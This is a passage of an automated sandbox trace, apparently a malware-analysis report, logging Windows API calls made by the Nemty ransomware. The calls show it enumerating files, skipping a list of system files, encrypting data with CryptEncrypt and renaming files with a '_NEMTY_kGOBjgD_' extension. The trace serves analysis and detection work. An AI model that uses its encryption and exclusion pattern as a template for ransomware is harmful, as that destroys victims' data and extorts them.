lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0125.235] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.235] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0125.241] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.241] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0125.241] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.241] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0125.247] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.247] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0125.247] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.247] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401e0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0125.247] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0125.247] CloseHandle (hObject=0xffffffff) returned 0 [0125.247] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0125.247] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0125.247] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0125.247] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0125.247] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0125.247] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0125.247] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340350 [0125.248] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403f8 [0125.248] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340350 | out: hHeap=0x4f90000) returned 1 [0125.248] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0125.248] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial_sml.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\dial_sml.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial_sml.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\dial_sml.png._nemty_kgobjgd_")) returned 0 [0125.248] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f8 | out: hHeap=0x4f90000) returned 1 [0125.248] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0125.248] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0125.248] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0125.248] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0125.248] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0125.248] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0125.248] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0125.248] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x842ddbeb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x842ddbeb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29146b0f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x134, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="glass.png", cAlternateFileName="")) returned 1 [0125.248] lstrcmpiW (lpString1="glass.png", lpString2=".") returned 1 [0125.248] lstrcmpiW (lpString1="glass.png", lpString2="..") returned 1 [0125.248] lstrcmpiW (lpString1="glass.png", lpString2="...") returned 1 [0125.248] lstrcmpiW (lpString1="glass.png", lpString2="windows") returned -1 [0125.248] lstrcmpiW (lpString1="glass.png", lpString2="$RECYCLE.BIN") returned 1 [0125.248] lstrcmpiW (lpString1="glass.png", lpString2="rsa") returned -1 [0125.248] lstrcmpiW (lpString1="glass.png", lpString2="NTDETECT.COM") returned -1 [0125.248] lstrcmpiW (lpString1="glass.png", lpString2="ntldr") returned -1 [0125.248] lstrcmpiW (lpString1="glass.png", lpString2="MSDOS.SYS") returned -1 [0125.248] lstrcmpiW (lpString1="glass.png", lpString2="IO.SYS") returned -1 [0125.248] lstrcmpiW (lpString1="glass.png", lpString2="boot.ini") returned 1 [0125.248] lstrcmpiW (lpString1="glass.png", lpString2="boot.ini") returned 1 [0125.248] lstrcmpiW (lpString1="glass.png", lpString2="AUTOEXEC.BAT") returned 1 [0125.248] lstrcmpiW (lpString1="glass.png", lpString2="ntuser.dat") returned -1 [0125.248] lstrcmpiW (lpString1="glass.png", lpString2="desktop.ini") returned 1 [0125.248] lstrcmpiW (lpString1="glass.png", lpString2="CONFIG.SYS") returned 1 [0125.249] lstrcmpiW (lpString1="glass.png", lpString2="RECYCLER") returned -1 [0125.249] lstrcmpiW (lpString1="glass.png", lpString2="BOOTSECT.BAK") returned 1 [0125.249] lstrcmpiW (lpString1="glass.png", lpString2="bootmgr") returned 1 [0125.249] lstrcmpiW (lpString1="glass.png", lpString2="programdata") returned -1 [0125.249] lstrcmpiW (lpString1="glass.png", lpString2="appdata") returned 1 [0125.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0125.249] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="glass.png", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0125.249] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="glass.png", cchWideChar=9, lpMultiByteStr=0x653ebd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="glass.png", lpUsedDefaultChar=0x0) returned 9 [0125.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0125.249] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="glass.png", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0125.249] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="glass.png", cchWideChar=9, lpMultiByteStr=0x653ebd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="glass.png", lpUsedDefaultChar=0x0) returned 9 [0125.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0125.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0125.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0125.249] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="glass.png", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0125.249] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="glass.png", cchWideChar=9, lpMultiByteStr=0x653ec20, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="glass.png", lpUsedDefaultChar=0x0) returned 9 [0125.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0125.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0125.249] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="glass.png", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0125.249] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="glass.png", cchWideChar=9, lpMultiByteStr=0x653ec58, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="glass.png", lpUsedDefaultChar=0x0) returned 9 [0125.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0125.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0125.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0125.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0125.249] Sleep (dwMilliseconds=0x5) [0125.251] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfe4d4490, dwHighDateTime=0x1d561e7)) [0125.251] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfe4d4490, dwHighDateTime=0x1d561e7)) [0125.251] GetLastError () returned 0x5 [0125.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0125.251] GetLastError () returned 0x5 [0125.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0125.251] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0125.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0125.251] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0125.251] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0125.251] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0125.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401e0 [0125.251] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401e0, pcchString=0x653e91c | out: pszString="X2IKtVsJaAYpNuNUVcICH8jAND6vzlifpJRrzYkT9rcLFVo5w0+FgdnhEY4ApBx8\r\nDiPcmbGISnRqA4qlJMe3dBhqzk38kje1DBLepidV4xsjzRPvBnlsDYR5C0e9Ven+\r\nx+FNQMWO+g8LzpsIQvezHBTVQ9jIFW3PNL0m2P8kDq2Rf8yMIvfACuJnyV/iNBhZ\r\ncZ+j2L2OoVKz4OwBkR41DtSC4T9YnZPZ4p3qvq5EcjaFeAQ3RbHIDyHQR6vUR5Zx\r\nh1RLGHrri2QfPufomnlA3g2RDxJ4gUWcfXfh4GuGABBjqxWA0RgkLjQcuTq6bc11\r\nEkUh+2CnfWYBWnq9y7qUCw==\r\n", pcchString=0x653e91c) returned 1 [0125.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0125.251] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0125.251] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0125.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0125.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401e0 [0125.252] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0125.252] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\glass.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\glass.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0125.252] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0125.252] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0125.252] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.252] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0125.263] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.263] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0125.263] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.263] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0125.272] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.272] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0125.272] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.272] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0125.281] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.281] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0125.282] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.282] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0125.291] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.291] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0125.291] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.291] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0125.314] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.314] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0125.314] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.314] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0125.323] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.323] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0125.323] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.323] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0125.332] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.333] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0125.333] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.333] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0125.342] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.342] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0125.342] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.342] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0125.353] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.353] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0125.353] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.353] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0125.363] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.363] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0125.363] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.363] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0125.369] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.369] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0125.369] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.369] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0125.375] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.375] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0125.375] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.375] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401e0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0125.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0125.375] CloseHandle (hObject=0xffffffff) returned 0 [0125.375] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0125.375] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0125.375] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0125.375] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0125.375] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0125.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0125.375] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0125.375] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0125.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0125.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0125.375] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\glass.png" 